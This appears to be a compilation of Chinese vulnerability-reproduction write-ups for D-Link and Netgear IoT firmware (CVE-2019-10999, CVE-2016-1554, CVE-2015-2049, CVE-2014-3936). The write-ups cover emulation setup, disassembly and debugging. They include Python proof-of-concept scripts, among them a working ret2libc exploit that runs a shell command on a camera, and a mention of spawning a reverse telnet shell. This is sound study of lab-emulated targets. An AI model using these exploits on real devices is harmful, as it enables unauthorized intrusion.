漏洞分析

CVE-2019-10999 是 Dlink IP 摄像头的后端服务器程序 alphapd 中的一个缓冲区溢出漏洞，漏洞允许经过身份认证的用户在请求 wireless.htm 时，传入 WEPEncryption 参数一个长字符串来执行任意代码。具体描述以及受攻击的型号、固件版本可以查看参考链接，此处漏洞复现采用的是设备 dcs-932l 固件版本 1.14.04，固件下载链接查看参考链接。

对后端服务器程序 alphapd 进行分析，存在漏洞的函数是 sub_435DEC，开辟的栈帧大小是 0x48，其中该函数的返回地址保存在 sp + 0x40，存在溢出的缓冲区起始地址是 sp + 0x18。因此，只需要向缓冲区写入超过 0x28 个字节就可以溢出覆盖返回地址，劫持控制流。除此之外还可以控制 S0~S5 寄存器。

如下是 sub_435DEC 栈帧的开辟以及返回地址的存储汇编代码：

1
2
3
4
5
6
7
8
9
10
11

.text:00435DEC li      $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)
.text:00435DF4 addu    $gp, $t9
.text:00435DF8 addiu   $sp, -0x48
.text:00435DFC sw      $ra, 0x28+var_s18($sp)
.text:00435E00 sw      $s5, 0x28+var_s14($sp)
.text:00435E04 sw      $s4, 0x28+var_s10($sp)
.text:00435E08 sw      $s3, 0x28+var_sC($sp)
.text:00435E0C sw      $s2, 0x28+var_s8($sp)
.text:00435E10 sw      $s1, 0x28+var_s4($sp)
.text:00435E14 sw      $s0, 0x28+var_s0($sp)
.text:00435E18 sw      $gp, 0x28+var_18($sp)

如下是调用 strcpy 函数复制数据到栈上的缓冲区中，strcpy 的第一个参数 des 通过 a0 寄存器传入，由于跳转延迟槽，对 a0 的操作指令在 jalr 指令之后，但是先于跳转指令执行：

1
2
3
4
5
6
7
8

.text:00435F98 loc_435F98:                              # CODE XREF: sub_435DEC+134↑j
.text:00435F98 la      $t9, strcpy
.text:00435F9C move    $a1, $s1
.text:00435FA0 jalr    $t9 ; strcpy
.text:00435FA4 addiu   $a0, $sp, 0x18
.text:00435FA8 lw      $gp, 0x28+var_18($sp)
.text:00435FAC b       loc_435E98
.text:00435FB0 nop

如下是函数执行完毕进行堆栈平衡，以及恢复 S0~S5寄存器、恢复 ra 寄存器到函数返回地址并跳转执行。

1
2
3
4
5
6
7
8
9
10

.text:0004BF34 loc_4BF34:
.text:0004BF34 				lw      $ra, 0x28+var_s14($sp)
.text:0004BF38 				lw      $s4, 0x28+var_s10($sp)
.text:0004BF3C 				lw      $s3, 0x28+var_sC($sp)
.text:0004BF40 				lw      $s2, 0x28+var_s8($sp)
.text:0004BF44 				lw      $s1, 0x28+var_s4($sp)
.text:0004BF48 				lw      $s0, 0x28+var_s0($sp)
.text:0004BF4C 				jr      $ra
.text:0004BF50 				addiu   $sp, 0x40
.text:0004BF50  # End of function system

漏洞环境搭建

使用 qemu-system-static 搭建

漏洞环境搭建先是使用 qemu-mipsel-static 搭建。

1
2
3
4

# 进入固件的根目录 复制 qemu-mipsel-static 到根目录
cp $(which qemu-mipsel-static) ./
# 使用 qemu 启动服务器 alphapd
sudo chroot . ./qemu-mipsel-static ./bin/alphapd

根据逆向中的反编译代码提示，是因为需要打开 /var/run/nvramd.pid 文件，那么在固件根目录创建 run 目录和 nvramd.pid 文件。

创建 pid 文件之后，继续运行依旧报错，无法创建 RSA 密钥，应该是缺少 urandom、random 设备造成的，手动在固件根目录创建。

1
2

sudo chroot . ./qemu-mipsel-static ./bin/mknod -m 0666 ./dev/random c 1 8
sudo chroot . ./qemu-mipsel-static ./bin/mknod -m 0666 ./dev/urandom c 1 9

报错 unable to write ‘random state’

OpenSSL 需要写入一些信息到 .rnd 文件，上面的错误可能是因为 .rnd 文件不存在，OpenSSL 不知道默认文件在何处，因为 RANDFILE 和 HOME 环境变量没有设置，那么解决方法就是创建 .rnd 文件并且设置环境变量指向这个文件。qemu 启动的时候设置这两个环境变量，解决了上面的问题。

1
2

touch .rnd
sudo chroot . ./qemu-mipsel-static -E HOME=/ -E RANDFILE=/.rnd ./bin/alphapd

Can’t get lan ip from sysinfo

通过搜索字符串定位到在 websStartupServer 函数中，通过调用 getSysInfoLong 获取，在 getSysInfoLong 函数中是通过 /dev/gpio 设备获取到，可以通过 patch getSysInfoLong 函数，或者在 websStartupServer 中 patch 地址判定代码。此处选择 patch 后者，就可以让程序在 0.0.0.0:80 端口运行起来。

如下是 websStartupServer 的地址判定处反编译，以及 patch 的基本块：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

v3 = getSysInfoLong(30);
if ( !v3
  && (v5 = (const char *)nvram_bufget(0, "IPAddress"),
      trace(0, "Can't get lan ip from sysinfo!\n", v4),
      v3 = inet_addr(v5),
      v3 == -1) )
{
  trace(0, "failed to convert %s to binary ip data", v5);
  result = -1;
}
else
{
  v6 = inet_ntoa(v3);
  ...
}

重新运行如下：

使用 qemu-system-mipsel 搭建

发现使用 qemu 搭建的调试，使用 gdb-multiarch 连接不上去，于是采用了 qemu-system-mipsel 虚拟机来搭建，进入固件根目录。

1
2
3
4
5
6
7
8

chroot . /bin/mknod -m 0666 /dev/random c 1 8
chroot . /bin/mknod -m 0666 /dev/urandom c 1 9

touch .rnd
export HOME=.
export RANDFILE=$HOME/.rnd

chroot . ./bin/alphapd_patch_j

漏洞调试

漏洞触发

漏洞触发代码如下，也可以看到成功触发了 segment fault。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

import requests

Headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive',
    'Referer': 'http://192.168.100.2/setSystemWireless',
    'Upgrade-Insecure-Requests': '1'
}

session = requests.session()
data = '?WEPEncryption=' + 'A' * 0x28 + 'B' * 0x4
res = session.get(url='http://192.168.100.2/wireless.htm' + data, headers=Headers)
print(res.text)

在 QEMU 虚拟机中开启 alphapd，然后使用 gdbserver attach 上 server 的进程，通过 12345 端口提供调试

使用 gdb 调试，如下，保存在栈上的函数返回地址被 BBBB 字符串覆盖

漏洞利用

接下来的步骤就是寻找环视 的 gadget，从栈中获取数据设置 system 函数传入的命令，并跳转到 system 函数执行。

这个地方需要说一下，不能在 alphapd 中去直接寻找 gadget，因为 alphapd 的代码段装载在低地址空间，其中的 gadget 地址高位前两位是 00，通过 url 传递地址会发生截断。因此可以先看 alphapd 装载了哪些 so 文件，从 so 中去寻找 system 函数和 gadget。此处选择了 libuClibc-0.9.28.so ，因为通过 ldd 查看 alphapd 装载的 so 文件，其中有 libc.so，libc.so 链接指向 libuClibc-0.9.28.so。

这个地方是在 QEMU 虚拟机中通过查看 map 文件获取 ibuClibc-0.9.28.so 的装载地址的，如果在实际应用中，需要能够进入设备，从设备上查看 so 的装载地址以及是否开启了随机化，但是一般低端路由器中都是比较老的 Linux 系统，没有地址随机化，那么在 QEMU 中也关闭了地址随机化。此处选择了第一个装载的 libc.so.0 的基址：0x77ed0000

然后获取到 system 函数相对装载地址的偏移是 0x0004BD20，得到 system 函数的地址为 0x77ed0000 + 0x0004BD20 = 0x77F1BD20

在 IDA 中，对 ibuClibc-0.9.28.so 使用 mipsrop.stackfinder()，找到如下的 gadget，同样计算出地址为 0x77ed0000 + 0x00050DE4 = 0x77F20DE4

1
2
3
4

.text:00050DE4 addiu   $s2, $sp, 0x1C8+var_D8
.text:00050DE8 move    $a0, $s2
.text:00050DEC move    $t9, $s0
.text:00050DF0 jalr    $t9 ; 

gadgets 的功能是将 sp + 0x1c8 - 0xd8 处数据传递给 a0，然后跳转到 S0 寄存器中去执行。通过前面对于缓冲区溢出的分析知道 S0 可控，写入 0x10 个字节开始控制 S0 寄存器，写入 0x28 个字节开始控制返回地址。那么整体的利用过程就是：

• 写入累计 0x10 个字节后，控制 S0 寄存器值为 system 函数地址
• 写入累计 0x28 个字节后，控制 ra 寄存器值为 gadget 地址
• 跳转到 system 函数，执行构造的字符串命令。此时已经恢复了堆栈， 从恢复的 sp + 0x1c8 - 0xd8 取出命令开始执行

exp 根据 poc 简单修改如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

import requests

Headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive',
    'Referer': 'http://192.168.100.2/setSystemWireless',
    'Upgrade-Insecure-Requests': '1'
}

session = requests.session()
data = '?WEPEncryption=' + 'A' * 0x10 + '%20%BD%F1%77' + 'B' * (0x28 - 0x10 - 0x4) + '%E4%0D%F2%77' + (0x30 - 0x28 - 0x4 + 0x1c8 - 0xd8) * 'C' + 'ls'
res = session.get(url='http://192.168.100.2/wireless.htm' + data, headers=Headers)
print(res.text)

执行结果如下，执行命令 ls

小结

本文先分析了漏洞原理，然后分别从 qemu 的两种方式仿真将 alphapd 启动起来进行调试，然后通过 ret2libc 对漏洞实现利用。

漏洞原理还是比较简单的，仅仅是一个缓冲区溢出 + ret2libc的操作。但是实际利用的话，也许还需要获得设备，通过其他方式例如 UART 等先获取到一个 shell，然后看程序的 so 加载内存布局获取到基址。此外，漏洞是将路由器后端 server 发生了栈溢出的，触发 segment fault，如果路由器没有对 server 的守护进程或者看门狗，那么 server 就挂了。如果要稳定利用，可以考虑反弹一个 telnet 回来或者是在 exp 中通过 shellcode 重新启动 server。

参考链接

• [cve.mitre.org] CVE-2019-10999 概述
• [先知社区] CVE-2019-10999复现
• [github] CVE-2019-10999
• [[固件下载] DCS-932L_REVA_FIRMWARE_1.14.04.ZIP](https://us.softpedia-secure-download.com/dl/1987a9330e759255a393a795437da31e/61839716/300596532/drivers/network camera/DCS-932L_REVA_FIRMWARE_1.14.04.ZIP)
• How to fix openssl error “unable to write ‘random state’”?

固件解压

漏洞分析

漏洞的产生是因为 hnap_main 函数中在拼接字符串的时候，没有对源字符串和目的字符串的大小进行限制，导致栈溢出。如下是 strcat 的函数原型。

1

char *strcat(char* dest, const char *src);

• dest：目的字符串指针
• src：源字符串指针

strcat 函数将 src 指向的字符串复制到 dest 字符串尾部，dest 原本末尾的 NULL 结束符被覆盖，并在连接完 src 字符串后重新加上 NULL 字符串。

1

strcat(v74, v4);

漏洞发生在如上代码，其中 v74 是栈上的内存空间，起始地址为 sp + 0xB30，v4 是获取到的环境变量 HTTP_SOAPACTION 的地址，存放在 _start 函数的栈中。在逆向 hnap_main 函数，初始化的过程是将调用返回地址（存放在 ra 寄存器中）保存到栈上 sp + 0xD34 + 0x20。通过计算，可以得出 v74 起始地址相对于栈上的返回地址偏移是 0x224 也就是 548 个字节大小，那么通过控制环境变量字符串的大小，就可以覆盖掉返回地址。

环境搭建 FirmAE

对于 IoT 尤其是路由器仿真环境的搭建，这个地方强烈安利一个框架那就是 FirmAE。FirmAE 是一个仿真成功率比较高的框架，也是基于 Firmadyne 开发的，开发者声称可以达到 79.36% 的成功率，而以往使用比较多的 Firmadyne 在相同固件测试集是 16.28%。这些成功率都分别是各自的论文数据支撑，有感兴趣的师傅可以去翻看一下。

FirmAE 的安装步骤可以参考 GitHub 上的帮助文档，此处不多说了，主要是想说一下他的一个 debug 选项，可以极大减少环境搭建时间。平常手动搭建 qemu 系统级仿真环境，主要是解压固件，配置网络，然后上传对应架构的 gdbserver，如果是程序对于硬件、网络的一些依赖，还需要手动去 patch。但是 FirmAE 框架中对这些操作进行了集成。下面说一下具体的使用方法。

如果是仿真的话，先将固件（未加密可被 binwalk 正常解压）复制到 FirmAE 根目录的 firmwares 文件夹中，然后使用 run.sh 进行操作，例如下面是对 dir-850 的仿真步骤：

需要说明一下 -r 后的参数指的是固件的品牌，例如 dir 系列、netgear 系列等等。然后使用浏览器访问 192.168.0.1 就可以访问到路由器界面了。

仿真的流程通过脚本的输出可以看到，和手动搭建系统级仿真环境类似，是解压固件获取相关信息，创建虚拟机和宿主机的桥接网络，然后仿真。

如上是单纯搭建仿真环境而已，接下来要说一下 FirmAE 提供的一个超级实用的技能，那就是调试选项 -d，如下：

1

sudo ./run.sh -d dir firmwares/DIR850LB1_FW207WWb05

如上图，-d 选项提供了连接到 socat、shell、tcpdump 甚至 gdbserver 也集成到里面了，那就不需要再像以前那样手动去搭建系统级环境。为了调试的方便，我写了一个 shell 脚本上传到虚拟机中，设置调试 cgibin 所需要的环境变量，循环检测 gdbserver 是否已经挂掉等等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

#!/firmadyne/sh
export REQUEST_METHOD=POST
export HTTP_HNAP_AUTH="BBD0605AF8690024AF8568BE88DD7B8E 1482588069"
export HTTP_COOKIE="uid=OLnLaWBI8S"
export HTTP_REFERER="http://192.168.0.1/info/Login.html"
export HTTP_SOAPACTION="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaaf"
ProcNumber=`ps | grep gdbserver | grep -v grep | wc -l`
source /firmadyne/setenv.sh
while :
do
    echo $ProcNumber
    if [ $ProcNumber -le 0 ];then
        echo "gdbserver not run"
        /firmadyne/gdbserver 0.0.0.0:12345 hnap hnap
    else
        echo "gdbserver is running"
        sleep 5
    fi
done

运行的时候让脚本在后台运行，这样如果是因为 gdbserver 报错或者是卡住了，可以直接杀掉进程。

1

/firmadyne/checkgdb.sh > ./log 2>&1 &

然后在宿主机中，使用 gdb-multiarch + pwndbg 设置远程调试，就可以愉快进行调试了。顺便说一下，pwngdb + tmux 是天作之合。

动态调试

当时在调试的时候，遇见的问题如下：

1. cgibin

   在 cgibin 的 main 函数中，先获取第一个运行参数到 v4，然后通过 strrchr检测 v4 中 / 的位置并赋值给 v6。如果 / 存在，那么将 v4 指向 / 后的一个地址。为了方便，直接将 cgibin 程序名改为了 hnap，这样在调试的时候就直接在 main 函数中比较字符串跳转到调用 hnap_main 中了。关键反编译代码如下：

   1 2 3 4 5 6 7 8 9 10 11 12 13

   v4 = *argv; v6 = strrchr(*argv, '/'); if ( v6 ) v4 = v6 + 1; ...... v36 = strcmp(v4, "hnap"); v8 = envp; if ( !v36 ) { v9 = (int (*)())hnap_main; v10 = argc; return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v9)(v10, argv, v8); }

2. gdbserver 设置环境变量

   一开始自己是在 gdb-multiarch 中去设置环境变量，但是这样是设置到了宿主机的 gdb-multiarch 运行环境，正确的做法是设置到 gdbserver 的运行环境中，也就是上面在调试脚本中先设置了环境变量，然后再启动 gdbserver。简单说一下路由器环境中 cgi 调用的参数传递，一般都是在路由器的 server 例如 httpd、lighttpd 等通过设置环境变量的方式传递参数，然后调用 cgi 读取环境变量进行数据处理，再通过 stdout 将结果返回到 server中。

设置好环境变量后，就可以开始进行调试了

通过分析可以知道如果要运行到存在漏洞 strcat 函数调用处，也就是 0x414A14 处如下，基本块的执行顺序是：

1
2
3
4
5

.text:00414A14 move    $a0, $s2         # dest
.text:00414A18 lw      $gp, 0xD34+var_D14($sp)
.text:00414A1C la      $t9, strcat
.text:00414A20 jalr    $t9 ; strcat
.text:00414A24 move    $a1, $s1         # src

1

0x4141C4 -> 0x4141E0 -> 0x4141FC -> 0x41431C -> 0x414970 -> 0x414978 -> 0x414998 -> 0x4149B4

通过 cyclic 获取一个长度为 560 字节的字符串，然后赋值给 HTTP_SOAPACTION 环境变量，启动调试，运气比较不错直接可以执行到 0x4149B4。再打一个断点到最后 hnap_main 的结束处，就可以看到发生了栈溢出，返回地址已经被覆盖然后赋值给 ra 寄存器，PC 再从 ra 寄存器中取出来执行发生错误。

此处的计算出来的偏移是 538，因为 v74 是先将 v6（HTTP_HNAP_AUTH）通过空格分隔然后将第二部分固定的 10 个字节复制进去，然后才是通过 v4（HTTP_SOAPACTION）拼接，造成缓冲区溢出。

1
2
3
4
5

strncpy(v58, v27 + 4, 0xAu);
v28 = strtok(v6, " ");                    // v6 为 HTTP_HNAP_AUTH 环境变量，以空格分隔
v29 = strtok(0, " ");                     // v28 第一个部分
strcpy(v74, v29);                         // v29 第二个部分
strcat(v74, v4);                          // 上面的 strcpy 也存在缓冲区溢出

writeup

分析完毕了，其实就是比较简单的一个缓冲区溢出漏洞，可以开始编写利用脚本了。

目标程序没有开启堆栈不可执行，就直接在栈上写代码吧，而且自己太菜，没有找到合适的控制 $r0 的 rop 控制链。

1
2
3

.text:00415BCC jr      $ra
.text:00415BD0 addiu   $sp, 0x1A8
x/4c $sp + 0xD34 + 0x20

参考链接

• https://f5.pm/go-4502.html
• [路由器漏洞挖掘之 DIR-805L 越权文件读取漏洞分析](路由器漏洞挖掘之 DIR-805L 越权文件读取漏洞分析)

D-Link DCS-930L 的一个认证远程代码执行漏洞。漏洞存在于固件版本 2.0.1 且在版本 2.12 被修复。漏洞发生在路由器的后端服务器 alphapd 中，允许经过登录认证的用户通过向 /setSystemCommand 发送 POST 请求包执行命令。

漏洞分析

通过分析 exploit.db 上的 exp，根据关键字符串 SystemCommand 可以大概得到如下的函数调用关系：

函数 sub_421D30 根据 uri 中的 /setSystemCommand 调用函数 sub_41E264。

1
2
3
4
5

int sub_421D30()
  ...
  sub_409D24("setSystemCommand", sub_41E264);
  ...
 }

在函数 sub_41E264 中，通过调用函数 sub_409340 从 POST 数据中解析出 SystemCommand 字段的值作为执行命令，然后传递到函数 sub_438A10 执行传入的命令。

1
2
3
4
5
6
7
8
9

int __fastcall sub_41E264(int a1)
{
  const char *v3; // $s0
  ...
  v3 = (const char *)sub_409340(a1, (int)"SystemCommand", (int)"");
  sub_400320(1, "DoCommaon=%s\n", v3); // 日志记录
  sub_438A10((int)v3); // 命令执行
  return sub_405528(a1, 0, (int)"ReplySuccessPage", (int)"ReplyErrorPage");
}

那么真正执行命令的函数是 sub_438A10，通过这个函数传入的参数也大概可以猜到这是用来命令执行的。

1
2
3
4
5
6

int __fastcall sub_438A10(int a1)
{
  ...
        sub_43C0C0((int)"/bin/sh", (int)"sh", "-c", a1, 0);// 这个函数应该是执行命令注入
  ...
}

再理清一下函数调用链，就是：

1

start -> sub_400B4C -> sub_409DE4 -> sub_421D30 -> sub_41E264 -> sub_438A10 -> sub_43C0C0

• start：启动函数
• sub_400B4C：初始化操作，例如检查 nvram，设置 HTTP 服务端口等
• sub_409DE4：调用 sub_421D30
• sub_421D30：根据访问 uri 的不同设置响应的回调函数
• sub_41E264：解析 POST 包中的 SystemCommand 字段获取需要执行的命令
• sub_438A10：调用命令执行函数 sub_43C0C0
• sub_43C0C0：命令执行

通过遍历固件中的所有 htm 文件，搜索字符串 setSystemCommand，可以定位到存在漏洞的页面

1
2
3

# kali @ kali in ~/firmware/dcs-930l/2.01.03/cpio-root [22:10:04]
$ find . -name "*htm" | xargs grep "setSystemCommand"
./etc_ro/web/docmd.htm:<FORM ACTION="/setSystemCommand" METHOD="POST">

环境搭建

使用 qemu-mipsel-static

解决报错：cannot open pid file

打开固件根目录，

1

sudo chroot . ./qemu-mipsel-static ./bin/alphapd

在 IDA 中搜索报错字符串，因为没有 /var/run/alphapd.pid 文件的存在，在根目录中创建该文件

1
2

mkdir ./var/run
touch ./var/run/alphapd.pid

解决报错：waiting for nvram_daemon

在 IDA 中搜索报错字符串，同样因为没有 /var/run/nvramd.pid 文件，在固件根目录中创建

1

touch ./var/run/nvramd.pid

创建需要的设备

1
2
3

touch ./dev/nvram
touch ./dev/urandom
touch ./dev/random

解决报错：Can’t get lan ip from sysinfo! 和 failed to convert to binary ip dataalphapd: Shutdown!

这个报错是启动 http 服务的关键，需要对程序进行 patch，patch 的地方如下：

然后可以启动 http 服务了，但是依旧会报错。第一个报错应该是 qemu 没有实现对应的系统调用，第二个可以不用管，如果只是启动 http 而不需要 https 的话，可以忽略。

1
2

ioctl: Function not implemented
failed to read certificates in websSSLOpen

漏洞利用

此处无需太多的调试，直接通过定位的漏洞页面 0.0.0.0:80/docmd.htm，看能否命令执行

成功命令执行

小结

漏洞比较简单，可以想想如何进行的漏洞挖掘工作。

参考链接

• [exploit-db.com] D-Link DCS-930L - (Authenticated) Remote Command Execution (Metasploit)

漏洞概述

简介

Netgear wnap320 access point是一款很老的路由器设备，早已经停产了。
CVE-2016-1554是上述设备的一个未授权任意命令执行漏洞，通过构造字段macAddress可以拼接成命令让路由器执行。

影响版本

Netgear wnap320 access point Firmware == v2.0.3

漏洞危害

高危

漏洞复现

复现环境

kali、qemu5.2

漏洞原理

漏洞产生的原因是boardDataWW.php页面表单中，对于数据段macAddress的值在后端只做了符合”12个连续整数“字符串的验证，并没有对值整体合法性进行验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

<?php
	$flag=false;
	$msg='';
	if (!empty($_REQUEST['writeData'])) {
        // maxAddress字段不为空 且 reginfo字段值正确 且 macAddress中存在满足[0-9a-fA-F]字符串
		if (!empty($_REQUEST['macAddress']) && array_search($_REQUEST['reginfo'],Array('WW'=>'0','NA'=>'1'))!==false && ereg("[0-9a-fA-F]{12,12}",$_REQUEST['macAddress'],$regs)!==false) {
			//echo "test ".$_REQUEST['macAddress']." ".$_REQUEST['reginfo'];
			//exec("wr_mfg_data ".$_REQUEST['macAddress']." ".$_REQUEST['reginfo'],$dummy,$res);
            // 直接将macAddress与命令进行了拼接 存在命令注入
 			exec("wr_mfg_data -m ".$_REQUEST['macAddress']." -c ".$_REQUEST['reginfo'],$dummy,$res);
            if ($res==0) {
                conf_set_buffer("system:basicSettings:apName netgear".substr($_REQUEST['macAddress'], -6)."\n");
                conf_save();
                $msg = 'Update Success!';
                $flag = true;
            }
      	}
        else
			$flag = true;
	}
?>

漏洞复现

使用qemu的system模式对路由器整体进行模拟，还是比较简单的，而且漏洞也是php漏洞，分析也不复杂。
首先进行固件的提取，比较简单，在官网上可以下载到存在漏洞版本的固件，然后使用binwalk直接就可以将固件解压，得到的是squashfs文件系统。

1

binwalk -Me WNAP320_V2.0.3_firmware.tar

使用qemu的system模式对路由器整体进行模拟，虚拟机的搭建过程以及文件系统的挂载可以参考此处。
搭建完毕后分析路由器相关进程的启动，在文件夹squashfs-root/etc/init.d/中的启动脚本进行分析，可以知道路由器的整体是由脚本rcS进行初始化的。于是挂载文件系统后直接启动脚本，对路由器进行初始化。

初始化完毕后，查看虚拟机的网络设置，对相关页面进行访问，看是否启动成功。

说明路由器的web服务至少是正常启动了，尝试使用EXP去打，的确存在命令执行漏洞

防护方案

这个程序员就是只对符合标准的字符串进行了正则的匹配，但是却没有对字符串整体进行合法性的验证。

相关链接

• 华为路由器漏洞CVE-2017-17215复现
• https://nvd.nist.gov/vuln/detail/CVE-2016-1555
• https://www.exploit-db.com/exploits/50069

CVE-2015-2049 Dlink 93XL 任意文件上传

漏洞分析

CVE-2015-2049 是发生在设备 Dlink 931L 上 1.04 版本的任意文件上传漏洞，漏洞允许通过认证的用户上传一个可执行脚本到指定目录，如果将目录设置到系统目录中，就会覆盖掉原有的系统文件，进而实现代码执行。该固件版本还被用于其他 Dlink 93X 系列 IP 摄像头，因此其他也可能存在此漏洞。

此次漏洞复现采用的固件是 Dlink 931l 1.04 版本固件，固件下载地址见参考链接。

存在漏洞的程序依旧是后端服务器 alphapd，通过分析 exploit.db 上的 exp，可以得到大概原理。
漏洞函数调用链通过调试如下，大概的流程就是保存文件并通过格式化字符串，然后通过 system 函数更改文件权限为 a+rwx。

1
2
3
4
5
6
7
8

► f 0 0x42b6bc uploadfile+844
  f 1 0x42ce94 websCgibinProcessor+1724
  f 2 0x41573c websUrlProcessRequest+428
  f 3 0x409a34 websReadEvent+920
  f 4 0x40af24 websSocketEvent+140
  f 5 0x4137f4 websSocketEventProcess+680
  f 6 0x406df0 httpd_main+232
  f 7 0x407620 main+772

存在任意文件上传的 uri 是 uploadfile.htm，选择上传文件路径和上传文件，点击 Upload File，会调用 setFileUpload。如下是上传文件并保存到 /tmp/test.sh 中。

环境搭建

在 main 函数中可以根据初始化流程来手动创建一些启动需要的文件。初始化流程是：读取相关 pid 文件、解析 SSL Key、从 nvram 中读取 IPAddress、最后根据 IP 和 port 启动 http 服务。SSL Key 解析不是非必要的，用 QEMU 模拟的时候如果报错可以忽略。

那么首先手动创建相关的 pid 文件：

1
2
3
4
5

mkdir ./var/run
# 创建 alphapd pid 文件
touch ./var/run/alphapd.pid
# 创建 nvramd pid 文件
touch ./var/run/nvramd.pid

然后根据 websStartupServer 启动流程，IP 地址是先从 getSysInfoLong 函数中获取，该函数通过读取 /dev/gpio 设备，仿真条件下没有该设备，读取会失败无法执行。那么手动对函数流程进行 patch，执行完 getSysInfoLong 后 v3 = 0，然后跳转到 inet_ntoa 处执行，就会解析处 IP 地址为 0.0.0.0，然后在本地启动。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

int __fastcall websStartupServer(int a1) {
  ...
  v3 = getSysInfoLong(30);
  if ( !v3
    && (v4 = (const char *)nvram_bufget(0, "IPAddress"),
        trace(0, "Can't get lan ip from sysinfo!\n"),
        v3 = inet_addr(v4),
        v3 == -1) )
  {
    trace(0, "failed to convert %s to binary ip data", v4);
    result = -1;
  }
  else
  {
    v5 = inet_ntoa(v3);
    ...
    result = websOpenListen(a1);
  }
  return result;
}

patch 如下：

服务启动成功：

漏洞复现

然后最终的调试还是在 qemu-system-mipsel 搭建的 debian 虚拟机中进行的，原因如下：

1. qemu-mipsel-static 的调试不能进入子进程追踪，设置了 set follow-fork-mode child 也不行

2. qemu-mipsel-static 搭建的 server 上传的文件属性无可执行，如下是使用 kali 搭建的 server 上传文件后的属性

漏洞复现没有什么可说的了，前面已经在漏洞分析过程使用 burpsuite 抓包然后上传文件，调试使用重放就行。
感兴趣的话可以看看 MSF 里面是如何利用该漏洞的，思路就是使用文件上传覆盖掉一些可开机自启的文件，然后实现命令执行。

小结

漏洞原理简单，搭建环境简单，没有什么难度。

参考链接

• [exploit-db] D-Link DCS-931L - Arbitrary File Upload (Metasploit)
• [固件下载] dlink 931l 1.04

CVE-2014-3936 dir-505 数组越界缓冲区溢出

漏洞分析

CVE-2014-3936 是发生在 dlink 旗下路由器 dir-505 的缓冲区溢出漏洞，漏洞存在于固件版本 1.07 及以前的 HNAP 处理程序中，漏洞发生在 HNAP 处理请求的时候，将 CONTENT_LENGTH 大小的数据直接复制到了缓冲区中，如果 CONTENT_LENGTH 大小超过了缓冲区大小，就会导致缓冲区溢出，进而实现代码执行。总之，是一个数组越界导致缓冲区溢出的漏洞。

此次漏洞分析采用的是 dir-505 固件版本 1.07，漏洞下载地址见参考链接。通过分析固件的文件系统，可以知道服务器采用的是 lighttpd 作为后端，lighttpd 也是嵌入式设备经常使用的一个小型 http server。发生漏洞的程序是 ./usr/bin/my_cgi.cgi，使用的是 fastcgi 调用过程，当收到 uri 为 HNAP1 的数据包时，会将数据包通过环境变量和标准输入 STDIN 传给 my_cgi.cgi 进行处理。

漏洞发生的位置是在 main -> do_hnap 函数中，do_hnap 函数在从环境变量中读取数据的时候，先读取数据包长度 CONTENT_LENGTH，然后根据其大小，通过一个循环，从标准输入中每次读取一个字节放在函数栈上的缓冲区中。如果 CONTENT_LENGTH 过大，就会导致缓冲区溢出，实际上就是数据包的数据够多，就会发生缓冲区溢出。IDA 中反编译的关键流程如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

int do_hnap() 
{  
  dec_content_length = 0;
  content_length = getenv("CONTENT_LENGTH");	// 从环境变量获取 CONTENT_LENGTH
  if ( content_length )
    dec_content_length = strtol(content_length, 0, 10); // 将 CONTENT_LENGTH 转化为 10 进制
  ...
  if ( dec_content_length > 0 )
  {
    loop_pointer = v12;                         // 指向 buf 的起始位置
    end_of_buf = &v12[dec_content_length];      // 指向 buf 的结束位置
    memset(v12, 0, sizeof(v12));                // 对 buf 清零
    while ( stdin->_fileno )
    {
      v6 = stdin->_IO_write_base;
      if ( v6 >= stdin->_IO_write_end )
      {
        v8 = (int (**)(FILE *))&_fgetc_unlocked;// v8 实际上是一个函数指针
LABEL_21:
        v7 = ((int (*)(void))v8)();             // 调用 fgetc
        goto LABEL_22;
      }
      v7 = *v6;
      stdin->_IO_write_base = v6 + 1;
LABEL_22:
      *loop_pointer++ = v7;                     // 将 fgetc 读取到的字符写入到 buf
      if ( loop_pointer == end_of_buf )			// 结束从 STDIN 中读取
      {
        ...
      }
    }
    v8 = &fgetc;

在 do_hnap 函数中，函数执行完毕后的返回地址在初始化堆栈的时候存放在 sp + 0x7574，缓冲区的起始地址是 sp + 0x30，那么一共需要 30020 个字节使缓冲区溢出，再额外溢出 4 个字节就可以修改保存再堆上的返回地址，最后 do_hnap 函数执行完毕将返回地址从栈中取出到 ra 寄存器然后跳转，就可以达到劫持控制流的目的。缓冲区的起始地址可以从 IDA 直接反编译得到。

1
2
3
4
5
6

